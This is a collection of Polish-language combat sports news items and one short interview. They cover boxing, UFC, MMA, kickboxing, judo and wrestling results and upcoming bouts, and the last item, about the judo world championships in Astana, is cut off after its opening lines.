Krystian Piskorz w kategorii 58kg rozpoczął rywalizację od 1/8 finału, gdzie trafił na Aleko Lomidze. Gruzin wykazał się wysokimi umiejętnościami, pokonał Polaka i konsekwentnie szedł do przodu aż awansował do finału. Z kolei Piskorz ma szansą na podium. Polak w repasażach zdecydowanie pokonał Genadi Benogoeva.

Pierwszego dnia rywalizacji w Suboticy zaprezentowało się jeszcze trzech Polaków. W kategorii 50kg, gdzie rywalizowało dwudziestu zapaśników wystąpił Ernest Dorosz, który poległ w kwalifikacjach w rywalizacji z Davidem Brennem. Niemiec zakończył swój udział w turnieju na 1/8. Tylko jedną walkę w Serbii zaliczył Paweł Malicki. Rywalizujący w kategorii 69kg Polak uległ Theodorosowi Idsifidisem z Grecji. Jakub Szymula w kategorii 85 kg odpadł w 1/8 przegrywając z Beką Tchelidze.

KM

Drozd i Usyk w mistrzowskiej walce?

Grigorij Drozd pozbawił Polskę ostatniego mistrza świata w boksie. Rosjanin dzierży w swoich dłoniach pas WBC wagi półciężkiej. Czy odbierze mu go Olexandr Usyk?

Starcie Rosjanina i Ukraińca staje się coraz bardziej realne. Podstawowe pytanie brzmi: czy Usyk jest gotowy na tę walkę?

Ukraiński talent

Ukraina ma wielkiego mistrza boksu. Jest nim król wagi ciężkiej Władimir Kliczko, który niepodzielnie rządzi i włada. Mimo swojego wieku nie zamierza ustępować miejsca młodszym, a na dodatek odpiera ataki kolejnych pretendentów. Teraz kandydatem do mistrzowskiego pasa ma być inny bokser z Ukrainy – Olexandr Usyk, ale też w innej wadze – półciężkiej.

28-latek ma za sobą bogatą karierę amatorską. Początkowo Usyk walczył w wadze średniej, ale z czasem miał problemy ze zbijaniem masy i zaczął występować w półciężkiej. W 2008 roku w Liverpoolu sięgnął po tytuł mistrza Europy. Ukrainiec spróbował również sił w kategorii ciężkiej, gdzie wywalczył mistrzostwo świata. W 2012 roku stanął na najwyższym stopniu w wadze do 91kg podium podczas Igrzysk Olimpijskich w Londynie.

Na zawodowym ringu Usyk pojawił się we wrześniu 2013 roku. Jego rywalem był Filipe Romero, który w piątej rundzie musiał uznać wyższość Ukraińca. Do tej pory 28-latek nie poniósł porażki na zawodowym ringu, a stoczył już siedem walk. Wszystkie kończył przed czasem, czym przyciągnął uwagę obserwatorów. Usyk imponuje skutecznością oraz siłą. We wrześniu czeka go kolejny pojedynek. Tym razem rywalem ukraińskiego pięściarza będzie Johnny Muller, który ostatnio w kontrowersyjnych okolicznościach wygrał na punkty z Mateuszem Masternakiem. Czy kolejną walką Usyka będzie pojedynek o mistrzostwo świata?

Drozd przemówił

35-letni pięściarz jest posiadaczem pasa od września 2014 roku, kiedy pokonał Krzysztofa „Diablo” Włodarczyka. Miało dojść do walki rewanżowej, jednak choroba uniemożliwiła występ Polakowi. Zamiast Włodarczyka na ringu w Moskwie zaprezentował się Łukasz Janik. Dla boksera z Zielonej Góry była to życiowa szansa, jednak miał zbyt mało czasu, aby odpowiednio przygotować się do pojedynku. Drozd wypunktował Janika i w dziewiątej rundzie mógł cieszyć się ze zwycięstwa w pierwszej obronie tytułu.

Drozd na zawodowym ringu przegrał prawie dziewięć lat temu, a jego pogromcą okazał się Firat Arslan. Rosjanin wyrobił sobie markę i wszedł na szczyt. Teraz myśli o kolejnym pojedynku. Nie szuka rywala zbyt daleko. Jego wzrok podążył w kierunku Ukrainy i Olexandra Usyka. – Usyk to bardzo dobry pięściarz. Pojedynek wzbudziłby ogromne zainteresowanie wśród rosyjskich i ukraińskich fanów boksu, a także na całym świecie. Dlaczego nie zorganizować takiej walki? Być może niedługo Usyk będzie już obowiązkowym pretendentem do tytułu WBC – mówi Drozd. Czy o siedem lat młodszy Usyk będzie w stanie sprostować doświadczonemu rywalowi? Ukrainiec z każdą walką rozkręca się i imponuje skutecznością. Drozd chyba zawczasu chce storpedować jego zapędy.

KM

Rousey miażdży, Jędrzejczyk rozgrzewa się

Ronda Rousey po raz kolejny udowodniła swój fenomen. W Rio de Janeiro amerykańska fighterka odniosła pewne zwycięstwo. Podczas UFC 190 wykrystalizowała się kolejna rywalka Joanny Jędrzejczyk – Claudia Gadelha.

Mistrzyni UFC wagi koguciej pokazała, że jest niczym maszyna, która nie potrzebuje czasu, aby nabrać rozpędu. Niszczy wszystko, co napotka na swojej drodze. Amerykanka wypunktowała Bethe Correię.

Nawałanica

Dwunaste zwycięstwo Rousey w jej karierze w MMA stało się faktem. Tym razem 28-latka spędziła w oktagonie nieco więcej czasu niż w dwóch ostatnich pojedynkach. W rywalizacji z Alexis Davis do odniesienia zwycięstwa Amerykanka potrzebowała szesnastu sekund, z Cat Zingano uporała się w czternaście sekund. Bethe Correia okazała się nieco bardziej wytrzymała i całe starcie trwało trzydzieści cztery sekundy.

Rousey nie bawiła się w żadne kalkulacje. Od razu zdecydowanie ruszyła na swoją rywalkę, która była bezradna. Amerykanka zasypała 32-letnią Brazylijkę ciosami sierpowymi i podcięła jej nogę, sprowadzając walkę do parteru. Correia zachowała się przytomnie. Udało jej się wykonać przewrót w tył i wróciła do walki, ale nie uchroniła się przed kolejną falą ciosów. Rousey słała kolejne uderzenia na głowę i korpus rywalki, która w końcu padła. Prawy sierpowy rozstrzygnął walkę.

Amerykańska mistrzyni wagi koguciej odniosła szóste zwycięstwo w UFC. W swojej karierze tylko raz walczyła dłużej niż jedną rundę. Najwięcej czasu z Rousey wytrzymała Miesha Tate, która musiała uznać wyższość byłej judoczki w trzeciej części rywalizacji.

Gadelha chce walki z Jędrzejczyk

Na gali UFC 190 w Rio de Janeiro Claudia Gadelha zmierzyła się z Jessicą Aguilar. Brazylijka wykazała się skutecznością i odniosła pewne zwycięstwo. Dominacja Gadelhy ani przez chwilę nie podlegała dyskusji. Sędziowie jednoznacznie wskazali na 26-letnią Brazylijkę.

Po pojedynku popularna „Claudinha” wyznała, że chce walczyć o pas z Joanną Jędrzejczyk. Przypomnijmy, Brazylijka i Polka spotkały się na grudniowej gali UFC on Fox 13, kiedy to triumf odniosła 27-latka z Olsztyna. Gadelha pragnie rewanżu, w którym chce udowodnić swoją wyższość i zdobyć pas mistrzowski wagi słomkowej. – Jestem najlepszą zawodniczką w kategorii słomkowej i udowodnię to! Do tego pojedynku musi dojść! Joanna, mam nadzieję, że ciężko trenujesz i myślisz tym starciu. Ja jestem gotowa – grzmiała Gadelha w Rio de Janeiro. Optymistycznie do tej propozycji podszedł Dan White, który myśli o zorganizowaniu pojedynku pomiędzy Brazylijką i Polką.

Jotko poznał rywala

Krzysztof Jotko w oktagonie pojawi się 24 października podczas gali w Dublinie. Jego rywalem będzie Scott Askham, dla którego będzie to trzecia walka w UFC.

Dla polskiego fightera będzie to powrót po przerwie spowodowanej kontuzją. Jotko miał wystąpić na UFC w Krakowie, jednak względy zdrowotne uniemożliwiły mu rywalizację w Polsce. Ostatnią walkę dla najlepszej organizacji mieszanych sztuk walki na świecie Polak stoczył w październiku 2014 roku, kiedy uporał się z Torem Troengiem.

KM

Jeden medal w Gruzji

Pięciodniowa rywalizacja w Europejskich Igrzyskach Młodzieży w judo w Tbilisi dobiegła końca. Czas więc podsumować start Polaków i przekonać się, kto wypadł najlepiej w stolicy Gruzji.

Biało-czerwoni zakończyli rywalizację z jednym medalem, którego autorką była Anna Dąbrowska. W Tbilisi najlepsi okazali się judocy z Włoch.

Polska poza dziesiątką

W klasyfikacji medalowej biało-czerwoni znaleźli się na piętnastym miejscu. Dorobek medalowy Polaków ubogi, gdyż nasi zawodnicy wywalczyli tylko jedno miejsce na podium, ale zajmowali również miejsca punktowane. Polska okazała się lepsza od Węgier, Białorusi czy też Hiszpanii.

Sukces w Tbilisi odniosła Anna Dąbrowska, która w kategorii 57kg sięgnęła po srebrny medal. W kategorii wagowej 57kg jedynie zawodniczka gospodarzy Eteri Liparteliani okazała się lepsza od Polki. Dąbrowska bardzo dobrze radziła sobie w Gruzji. Nasza zawodniczka wygrała trzy walki, co pozwoliło jej rywalizować o złoty medal. Gruzinka okazała się zbyt trudnym wyzwaniem, ale Dąbrowska i tak osiągnęła sukces. Po drodze uporała się z reprezentantką Izraela Gili Sharir, która była o krok od podium, jednak przegrała rywalizację o brązowy medal. W walce o finał Dąbrowska pokonała Szwajcarkę Ines Amey.

Z dobrej strony pokazał się Michał Ryciak w kategorii 90kg. Polak na początku turnieju mógł załamać ręce i zrezygnować z dalszej rywalizacji, jednak zawziął się i walczył o jak najlepszy wynik. Ryciak odprawił z udziału w zawodach Sebastiana Schneidera z Austrii, jednak w kolejnym pojedynku musiał przełknąć gorzką pigułkę. Onise Saneblidze pokonał polskiego judokę, który był jedną z przeszkód na drodze Gruzina do triumfu. Zawodnik gospodarzy zdominował rywalizację w kategorii 90kg. Jakie były dalsze losy Ryciaka? Polak w repasażach wykazał się stuprocentową skutecznością i wygrał dwie walki, co pozwoliło mu stanąć do pojedynku o brązowy medal. W decydującym starciu Ryciak zmierzył się z Simeonem Cathariną. Holender pokonał Polaka, który w stolicy Gruzji musiał zadowolić się zajęciem piątej pozycji.

W Tbilisi podobną drogę przebyli Kacper Kaczor (60kg) oraz Maciej Krogulski (73). Obaj judocy przegrali swoje pierwsze walki, ale w repasażach odnieśli dwa zwycięstwa, co pozwoliło pozostać im w grze. Kolejne walki Kaczora i Krogulskiego zakończyły się porażkami, co w ostatecznym rozrachunku pozwoliło im zająć siódme miejsca. W kategorii 81kg na siódmej lokacie uplasował się Michał Jackiewicz.

Włosi najlepsi

W Tbilisi najlepiej zaprezentowali się judocy z Włoch, którzy osiem medali – pięć złotych, jeden srebrny i dwa brązowy. Cztery pierwsze miejsca przypadły gospodarzom Gruzinom. Na trzecim miejscu w klasyfikacji medalowej znalazł się Azerbejdżan. Poza podium znaleźli się za to Rosjanie.

Reprezentanci Sbronej wywalczyli zaledwie jeden złoty medal. W kategorii 81kg triumfował Murad Kurbanismailov.

KM

Garcia zasypał rywala ciosami

Kolejne zwycięstwo na zawodowym ringu odniósł Danny Garcia. Mistrz świata wagi lekkopółśredniej WBA i WBC pokonał Pauliego Malignaggi. Walka odbyła się w limicie kategorii półśredniej.

Garcia zdominował swojego rywala, co pozwoliło mu odnieść zwycięstwo. Doświadczony Malignagii starał się nawiązać walkę ze „Swiftem”, jednak ten siłą swojego ciosu pokazał rywalowi, gdzie jest jego miejsce.

Malignagii opadał z sił

Garcia chciał dyktować warunki pojedynku i decydować o jego obliczu. Walka rozpoczęła się po myśli 27-latka z Filadelfii, jednak jego rywal też chciał mieć coś do powiedzenia. „Magic Man” stoczył swój pierwszy pojedynek w tym roku i liczył, że uda mu się zatrzeć złe wrażenie po ubiegłorocznej porażce w czwartej rundzie z Shawnem Porterem. Malignagii miał momenty, w których doskakiwał do swojego rywala i zadawał ciosy, jednak ich siła była wątpliwa, a na pewno nie robiła wrażenia na Garcii.

Od czwartej rundy „Swift” rozdawał karty i decydował o tempie pojedynku. Na głowę Malignagiego spadały kolejne ciosy. „Magic” miał obitą twarz, pełną siniaków oraz rozcięty łuk brwiowy. Kwestią czasu było, kiedy Garcia postawi kropkę nad „i”, jednak o zakończeniu rywalizacji zadecydował sędzia. Widząc niemożność „Magica” arbiter przerwał pojedynek w dziewiątej rundzie.

Garcia odniósł trzydzieste pierwsze zwycięstwo na zawodowym ringu i drugie w tym roku. Po raz kolejny „Swift” pokazał, że może namieszać w kategorii półśredniej.

Co dalej?

Garcia już myśli o kolejnej walce. „Swift” coraz śmielej puka do czołówki wagi półśredniej i czeka na pojedynek, który pozwoli mu wejść na szczyt. Wśród ewentualnych przeciwników wymienia Shawna Portera i Keitha Thurmana. – Keith Thurman i Shawn Porter to pięściarze o wysokich umiejętnościach. Obaj są mistrzami i wiele osiągnęli. Nie inaczej jest ze mną, jestem gotów do walki. W tej kategorii wagowej Al Haymon jest menadżerem i jeśli będzie chciał, to do takiego pojedynku doprowadzi – mówi Garcia.

Nieco inne plany ma Malignagii. „Magic” zanotował drugą porażkę z rzędu i coraz poważniej myśli o zakończeniu kariery bokserskiej. Malignagii chce poświęcić się pracy komentatora. – Mam bardzo dobrą pracę jako komentator. Liczę, że dzięki niej nadal będę blisko boksu, co pozwoli mi obserwować wspaniałe walki. Powiedziałem sobie, że jeśli tego wieczoru nie zaprezentuję odpowiedniego poziomu to będzie mój ostatni występ. Starałem się jak mogłem. Po kolejnych mocnych uderzeniach mówiłem sobie, że dam radę. Jeśli pokażesz, że nadal jesteś głodny zwycięstwa, to nie będzie to koniec. Chciałem to zaprezentować. Rywal stopniowo zyskiwał przewagę aż sędzia przerwał pojedynek. Nie mam z tym problemu – powiedział Malignagii.

Jeden z aktorów widowiska na gali w Brooklynie schodzi ze sceny. Drugi stopniowo wdrapuje się na szczyt. Danny Garcia jeszcze może namieszać w kategorii półśredniej.

KM

Białas: Czekam na kolejne walki

Początek kariery miał kiepski, ale udało mu się podnieść. Nie zabrakło mu wiary i wytrwałość, a nadal zamierza się rozwijać. O swoich planach mówi nam Grzegorz „Gusiek” Białas, zawodnik MMA.

Ostatnia Twoja walka odbyła się w listopadzie. Pokonałeś wtedy Mateusza Antoniewicza, który nie wytrzymał naporu Twoich ciosów. Kiedy kolejna walka?

Miałem również walkę w maju, gdzie kontuzja kolana wyeliminowała mnie na początku pojedynku, więc liczę to jako no contest, gdyż nie padł ani jeden cio,s a osłabienie organizmu i kilka chorób w trakcie przygotowań mnie zniszczyły. Teraz już wyleczylem kolano i czekam na kolejne walki. Mam madzieje, że we wrześniu wejdę do klatki!

Cztery zwycięstwa z rzędu robią wrażenie i wszystkie wskazuje na to, że wyszedłeś na prostą i robisz wszystko, aby zaistnieć w polskim MMA.

Mam pewien talent od Boga, mogę dzięki pojedynkom spełniać swoje marzenia i przyciągać ludzi i do sportu i do Boga- dając widowiskowe walki i dając świadectwo wiary katolickiej. Chcę się rozwijać i robię wszystko, by zejść z wagi i jeszcze w tym roku zaistnieć w rankingu PL.

Wszystkie Twoje pojedynki, zarówno wygrane jak i przegrane, zawsze kończą się przed czasem. Dlaczego tak jest?

Wyznaję zasadę, ze decyzje sędziowskie często są krzywdzące i mało widowiskowe, więc chcę dawać walki dynamiczne i efektowne. Tym sposobem publika zapamięta coś wyjątkowego.

Jakie są Twoje dalsze plany związane z MMA?

Planuję stoczyć w tym roku jeszcze trzy walki, a w przyszłym roku chciałbym stoczyć pojedynek zagranicą.

Prowadzisz własny klub, który jest dość kameralny i trenuje w nim mała grupa chłopaków. Jak radzisz sobie obecnie? Czy jest zapotrzebowanie na istnienie takich podmiotów?

Obecnie nie mamy zajęć, ruszam z nowym projektem od września. Myślę, że propagowanie zdrowego stylu życia, sportu zawodowego i rekreacji ruchowej jest pożądana i szkoda, że tak mało odpowiednich ludzi prowadzi takie kluby. Oby było nas więcej, aby MMA miało piękna renomę. Niedługo mój klub będzie reprezentować paru ciekawych zawodników, zobaczycie wkrótce!

rozmawiał: KM

Powolne odsłanianie kart

Organizacja DUET FIGHT NIGHT stopniowo odsłania kolejne nazwiska gali zaplanowanej na 20 września w Londynie. Fighterzy mają stworzyć widowisko na najwyższym poziomie. Polscy i angielscy zawodnicy wystąpią w pojedynkach na gruncie kickboxingu oraz MMA.

Wydarzenie warte uwagi ze względu na fakt, że jest to przedsięwzięcie polsko-angielskie. Tomasz Biernacki i Keith Allen podpisali stosowne porozumienie na mocy, którego w Londynie zostanie zorganizowana gala.

Kto w Londynie?

Organizator stopniowo odsłania kolejne nazwiska, które pojawią się na londyńskiej gali, czym potęguje ciekawość obserwatorów. DUET FIGHT NIGHT chce dostarczyć publiczności oraz widzom niezapomnianych emocji. W Londynie dojdzie do czterech pojedynków, których stawką będą pasy mistrzowskie.

Obecnie są znane trzy pary, które 20 września zaprezentują się podczas gali DUET FIGHT NIGHT. Jerzy Wroński zmierzy się Sevketem Cerkezem. Trenujący w warszawskiej Palestrze zawodnik w ostatnim czasie notuje dobre występy. Wroński miał zaprezentować się na gali Enfusion w Dublinie, jednak ostatecznie w Irlandii nie wystąpił. Teraz ma czas, aby jak najlepiej przygotować się do wrześniowego starcia. W ostatnim pojedynku Wroński rywalizował z Justinem Doyle’m i nie dał rywalowi żadnych szans. Pewne zwycięstwo doświadczonego fightera pokazało, że nadal może toczyć pojedynki na wysokim poziomie. Czy w rywalizacji z Cerkezem Polak wespnie się na szczyt swoich możliwości? Najbliższy rywal Wrońskiego w Londynie będzie chciał poprawić swoje samopoczucie i w końcu odnieść zwycięstwo. Sevket Cerkez szlifował swój warsztat w Tajlandii, gdzie stoczył dwie walki zawodowe. W obu przypadkach musiał uznać wyższość swoich rywali. Czy w starciu z Wrońskim będzie w stanie wrócić na właściwe tory?

W Londynie zaprezentuje się Kamil Jenel, który wystąpi w rywalizacji z Kieranem Peartem. Polski fighter ma za sobą bardzo aktywny okres. W tym roku Jenel stoczył już cztery pojedynki i jego bilans to dwa zwycięstwa i dwie porażki. Podczas DSF Kickboxing Challenge pokonał Bartosza Dołbienia. Był to ostatni pojedynek Jenela, po którym zawodnik musiał odpocząć. Powodem takiego stanu rzeczy była kontuzja. Jenel wraca już do regularnych treningów i szlifuje formę przed występem na londyńskiej gali. Peart na angielskim podwórku jest niezwykle mocnym zawodnikiem. Najbliższy rywal Jenela to mistrz Anglii K-1 organizacji WKA.

Jest i kobieta

W Londynie nie zabraknie również pań. 20 września w Londynie wystąpi Marta Waliczek, która zmierzy się z Nicole Commerford. Polka jest utytułowaną zawodniczką kickboxingu zarówno na arenie krajowej jak i światowej. Waliczek  to obecna mistrzyni Polski w K-1 w 60kg. Ponadto, polska zawodniczka zdobywała medale mistrzostw Europy i świata. W Londynie będzie miała okazję sprawdzić, jaki jest poziom sportów uderzanych w Anglii. Rywalką Waliczek będzie aktualna mistrzyni Anglii w muay thai w kategorii piórkowej Nicole Commerford.

KM

Błachowicz nie dostanie szansy

Stało się coś niesłychanego. Z dnia na dzień okazało się, że Jan Błachowicz nie wystąpi na gali UFC 191 w Las Vegas w pojedynku z Anthony’m Johnsonem.

Jakie są powody decyzji włodarzy UFC? Błachowicz nie doznał kontuzji, która eliminowałaby go z walki, więc sytuacja jest dość zastanawiająca.

Nie będzie wielkiej walki

„John” czeka na swój trzeci pojedynek w UFC. Błachowicz w Las Vegas miał się zmierzyć z numerem jeden kategorii półciężkiej Anthony’m Johnsonem. Amerykanin to solidna marka i czołowa postać organizacji. Johnson niedawno walczył o pas, który zostawił Jon Jones, jednak Daniel Cormier okazał się lepszy. Podczas UFC 187 31-letni fighter z Florydy musiał przełknąć gorycz porażki po raz pierwszy od 2012 roku. Johnson jest na szczycie wagi półciężkiej, jednak cały czas poluje na pas. O jego umiejętnościach miał przekonać się Jan Błachowicz. Dla Polaka byłaby to ogromna szansa i wyzwanie, jednak nie będzie.

Wydawało się, że kibice w Polsce będą mieli okazję emocjonować się jedną z najważniejszych walk w historii polskiego MMA. Po fantastycznych walkach Joanny Jędrzejczyk miała przyjść kolej na show w wykonaniu „Johna”. Trzeba poczekać. Planowany pojedynek w Las Vegas nie wypali. Dlaczego? Można się tylko domyślać. Dla Błachowicza byłaby to dopiero trzecia walka w UFC, a do tej pory ocena jego występów nie jest jednoznaczna. W debiucie w starciu z Ilirem Latifim dał nadzieję, że może być powiewem świeżości w wadze półciężkiej. Występ na gali w Krakowie zmył dobre wrażenie. Błachowicz w pojedynku z Jimim Manuwą był przestraszony, wolny i nie pokazał praktycznie nic. Mimo wszystko działanie UFC jest dziwne i nie do końca profesjonalne.

Manuwa za Błachowicza

Okazuje się, że 5 września w Las Vegas z Johnsonem zmierzy się pogromca Błachowicza z Krakowa Jimi Manuwa. Być może UFC chce wzbudzić większe zainteresowanie galą i postawić do walki z numerem jeden wagi półciężkiej bardziej doświadczonego zawodnika. Manuwa ma dłuższy staż w najlepszej organizacji mieszanych sztuk walki niż Błachowicz, a w bezpośrednim starciu okazał się lepszy od Polaka. To z pewnością czynniki, które miały wpływ na decyzję dyrektorstwa UFC.

Tym samym Błachowicz na później musi odłożyć marzenia o walce z jednym z najlepszych fighterów w swojej kategorii wagowej. Mimo wszystko Polak ma pojawić się na gali UFC 191 z tym, że zmierzy się z innym przeciwnikiem. Teoretycznie mniej wymagającym. Trudno jakkolwiek tłumaczyć decyzję organizacji, jednak można się zastanowić, jak wpłynie ona na Błachowicza. Z jednej strony może być to dodatkowa motywacja powodująca chęć udowodnienia swojej wartości, z drugiej spowoduje złość i uczucie niedocenienia. Na pewno rywalizacja z Johnsonem byłaby rzuceniem Polaka na głęboką wodę. Teoretycznie walka ze słabszym rywalem może pomóc Błachowiczowi odbudować się i udowodnić, że warto na niego postawić w rywalizacji z numerem jeden kategorii półciężkiej.

KM

Dąbrowska zdobyła medal na igrzyskach

Europejskie Igrzyska Młodzieży w Tbilisi są areną zmagań młodych sportowców, w tym judoków. Po srebrny medal w kategorii 57kg sięgnęła Anna Dąbrowska.

Do rywalizacji w stolicy Gruzji stanęło ponad trzystu młodych judoków. Zgodnie z tradycją zawsze wśród startujących jest więcej panów niż pań. Tym razem różnica ta nie jest aż tak nadto widoczna. W Igrzyskach Młodzieży zaprezentuje się stu siedemdziesięciu pięciu judoków i sto trzydzieści judoczek. Warto zauważyć, że najsłabiej obsadzone są dwie kategorie wagowe wśród pań, gdzie startuje zaledwie sześć i osiem zawodniczek. Odpowiednio 44kg i 48kg. Wśród panów najmniej startujących liczy kategoria 50kg – piętnastu.

Sukces srebrem zmierzony

Anną Dąbrowska przystąpiła do rywalizacji w najliczniej obsadzonej kategorii wagowej. W 55kg walczyły dwadzieścia cztery zawodniczki, jednak drabinka turnieju ułożyła się po myśli młodej Polki. Na początek Dąbrowska mogła zrelaksować się oraz odetchnąć. Dostała wolny los i czekała na rywalkę, która wyłoniła się z pojedynku Lesley Koorn – Lucy Day. Lepsza okazała się Holenderka, ale jej entuzjazm powstrzymała Dąbrowska. Następnie Polka trafiła na Gili Sharir. Reprezentantka Izraela również miała za sobą jedną walkę i liczyła, że bez problemu uzyska awans do półfinału, jednak pomyliła się w swoich kalkulacjach. Dąbrowska pokonała Sharir, która poradziła sobie doskonale w repasażach, ale walkę o brązowy medal przegrała ze swoją rodaczką Emilią Kanervą, co w ostatecznym rozrachunku dało jej piąte miejsce. Wracając do Dąbrowskiej. W półfinale nasza judoczka trafiła na Szwajcarkę Ines Amey. Dąbrowska zrobiła wszystko, aby awansować do finału, w którym czekała już Eteri Liparteliani. Reprezentantka Gruzji na własnym terenie czuła się pewnie i okazała się lepsza od Polki. Na szyi Dąbrowskiej zawisł srebrny medal.

Trzech na siódmym

Wśród panów wyróżniło się trzech naszych reprezentantów, którzy w swoich kategoriach wagowych zajęli siódme miejsca.

Kacper Kaczor udział w igrzyskach rozpoczął od porażki. Polak, który rywalizował w kategorii 60kg trafił na Larsa Kamphuisa. Ostatecznie Holender zakończył zawody z brązowym medalem. Kaczor trafił do repasaży, gdzie wygrał dwa pojedynki, jednak poległ w starciu z Ismayilem Ibrahimovem. Reprezentant Azerbejdżanu w Tbilisi uplasował się na trzecim miejscu. Tak więc Kaczor przegrywał z tymi zawodnikami, którzy sięgali po medale.

Podobną drogę w kategorii 73kg przeszedł Maciej Krogulski. Filip Stojak odesłał Polaka do repasaży, gdzie ten wygrał dwie walki. Po pokonaniu Giacomo Gamby Krogulski stanął do rywalizacji z Lukasem Wittwerem. Szwajcar wygrał, a w pojedynku w o trzecie miejsce okazał się lepszy od Artura Panaitova. W kategorii 81kg na siódmym miejscu uplasował się Michałem Jackiewicz, który wygrał swoją pierwszą walkę z Gogą Kevkhishvili, ale w starciu z Mirosalvem Kopisem musiał pogodzić się z porażką. Polak w repasażach wygrał jeden pojedynek, a na jego drodze do walki o brąz stanął Niemiec Tim Schmidt.

KM

Brązowa Praga

Trzy medale przywieźli nasi reprezentanci z Pucharu Europy Juniorów w judo w Pradze. Wszystkie koloru brązowego.

Rywalizacja w Czechach przyciągnęła blisko czterystu zawodników. Po raz kolejny w zawodach wzięło udział prawie o połowę więcej panów. Judoków w Pradze zaprezentowało się 257, w rywalizacji pań na tatami pojawiło się129 zawodniczek. Najmniej licznie były obsadzone kategorie 44kg i 78kg, odpowiednio siedem i osiem judoczek.

Brazylijska klątwa

Martyna Dobrowolska i Beata Pacut szły jak burza. Aż do półfinałów. Pacut miała zadanie o tyle łatwiejsze, że w jej kategorii wagowej (78kg) startowało osiem zawodniczek i szanse na zajęcie miejsca w czołówce tym samym były większe. Wystarczyło dobrze wejść w zawody. A to Pacut udało się zrealizować. W pierwszej walce odprawiła Portugalkę Elsę Mendes, a następnie trafiła na Vasylynę Kyrychenko. Ukrainka na początku zawodów miała wolny los, Pacut już zdążyła się rozgrzać i na fali wznoszącej rozprawiła się z przeciwniczką. Dwie wygrane walki dały Polce miejsce w strefie medalowej. W półfinale Pacut nie sprostała Ellen Furtado z Brazylii. Triumfatorką w kategorii 78kg okazała się inna z reprezentantek Canarinhos –Camila Nogueira. W tej samej wadze wystąpiła Anita Formela, jednak bez powodzenia. Polka przegrała pierwszy pojedynek, co przesunęło ją do repasaży, ale tam również sobie nie poradziła.

Martyna Dobrowolska w kategorii 57kg mogła dłużej rozgrzewać się. Na początku otrzymała wolny los, ale jej pierwszą rywalką była zawodniczka gospodarzy Michaela Kulikova. Polka uporała się z rywalką, a następnie wyeliminowała Akerke Myrzabek z Kazachstanu. W półfinale rywalką Dobrowolskiej była Kamila Silva. Brazylijka pokonała Polkę, a następnie zwyciężyła w finale Teclę Cadilla Acevedo. Zatem w Pradze zmorą dla polskich judoczek okazały się zawodniczki z Kraju Kawy, który pozbawiły Pacut i Dobrowolską szans na złoto. W rywalizacji o trzecie miejsce walcząca w kategorii 57kg Polka uporała się z Mariią Skora z Ukrainy.

Trzeci medal dla Polski w czeskim turnieju wywalczył Jakub Ozimek. Polak walczący w kategorii 90kg trafiał na zawodników w obszaru byłego ZSRR. Przegrał tylko raz. W półfinale lepszy od naszego judoki okazał się Litwin Rokas Nenartavicius. Ozimek w decydującym o brązowym medalu starciu uporał się z Temirlanem Kolbayem.

Dominacja Brazylii

Reprezentanci Brazylii w Pradze okazali się precyzyjni i skuteczni. Sześć złotych medali pozwoliło im zająć pierwsze miejsce w klasyfikacji medalowej. Canarinhos wywalczyli również sześć srebrnych i dwa brązowe krążki. Z dobrej strony pokazali się reprezentanci Kazachstanu i Ukrainy.

Warto odnotować sukces Greczynki Elisavet Teltsidou, która w kategorii 63kg w finale pokonała Brazylijkę AlexięCastilhos.W tej samej wadze na piątej pozycji uplasowała się Anna Isenko, a Katarzyna Kasza była siódma.

KM

Angielskie myślenie Władimira

Niektórzy już zastanawiają się, kiedy Władimir Kliczko przejdzie na emeryturę. Ukrainiec też o tym myśli, jednak wcale mu się nie spieszy.

Na jesieni zmierzy się z krnąbrnym Tysonem Furym. Walka medialna już wystartowała i Brytyjczyk dał popis umiejętności, tak aby zwrócić uwagę na pojedynek i wzbudzić zainteresowanie pojedynkiem.

Kolejny Anglik w kolejce

O pięściarzach z Wysp można powiedzieć wiele. Zwłaszcza to, że mają skłonność do mówienia. Wiele, na temat, poza tematem, wokół tematu. Tak to mniej więcej wygląda. Dużo mówią, mało robią. David Haye straszył Władimira Kliczko, odgrażał się i już witał się z tronem w wadze ciężkiej. Wszedł do ringu i bańka mydlana prysła. Czy tak samo będzie w przypadku Tysona Fury’ego? Wielkolud z Anglii jest narcyzem o potężnym ciosie, jednak w rywalizacji z Kliczko musi udowodnić swoją wartość. Słowa nie wystarczą. Tak naprawdę Kliczko nie musi robić nic. To na barkach Anglika spoczywa presja, która z każdym kolejnym dniem będzie do niego docierała i coraz mocniej paraliżowała. Mistrzowskie zapędy mogą legnąć w gruzach, ale tak wytrawny taktyk jak Fury z pewnością nie da tego po sobie poznać. On wie, że musi nakręcać widowisko.

Jednak jest jeden bokser z Wysp Brytyjskich, o którym mówi się dużo, a on robi powoli swoje i czeka na rozwój sytuacji. Nie zachwyca się swoimi umiejętnościami, tylko wchodzi do ringu i walczy. Można powiedzieć, że jest na początku swojej drogi, ale już wzbudza zainteresowanie. To Anthony Joshua, który obecnie jest drugim zawodnikiem w rankingu organizacji WBC w wadze ciężkiej. W najbliższej walce Joshua zmierzy się z Gary’m Cornishem.

Postępy młodego Anglika zauważył sam Władimir Kliczko. Czy to oznacza, że Ukrainiec będzie chciał zmierzyć się z Joshuą? Na takie założenia jest zbyt wcześniej. Ponadto, Joshua jest na początku swojej drogi i musi okrzepnąć, a przede wszystkim pokazać, że prezentuje odpowiedni poziom i powtarzalność. – Anthony ma wszystko, aby osiągnąć sukces i stać się wielkim mistrzem. Najważniejsze, że ma atrybuty potrzebne w ringu jak i poza nim. Jeśli podtrzyma passę zwycięstw niewykluczone, że dojdzie do pojedynku między nami. Trzymam w swoich rękach tytuły mistrza świata od wielu lat, dlatego jeśli Joshua chce ze mną walczyć musi wspiąć się na szczyt -mówi Władimir Kliczko.

Październik Ukraińca

Mistrz świata federacji WBA, WBO, IBF, IBO w Dusseldorfie stoczy sześćdziesiąty ósmy pojedynek na zawodowym ringu. Gdzie w porównaniu ze starym wygą są Fury i Joshua? Ostatnie lata pokazują, że Kliczko, co by się nie działo utrzymuje się na szczycie. Teraz ten stan rzeczy będzie chciał zmienić angielski bokser z Wilmslow, który lubi, gdy jest o nim głośno. Teraz coraz więcej mówi się o pięściarzu z Watfordu. Mówi się o nim. To jest podstawowa różnica. Najbliższy rywal ukraińskiego mistrza mówi sam o sobie, o jego młodszym koledze zaczynają mówi, gdy ten robi swoje. Jest różnica. A może dojdzie do bitwy o tytuł króla Anglii? Pomysł ciekawy.

KM

Pakują się do Astany

Mistrzostwa świata w judo już za niespełna miesiąc. Nasza kadra zbiera ostatnie szlify i z nadziejami uda się do Kazachstanu. Prawdopodobnie do  Astany pojedzie szesnastoosobowa reprezentacja Polski.

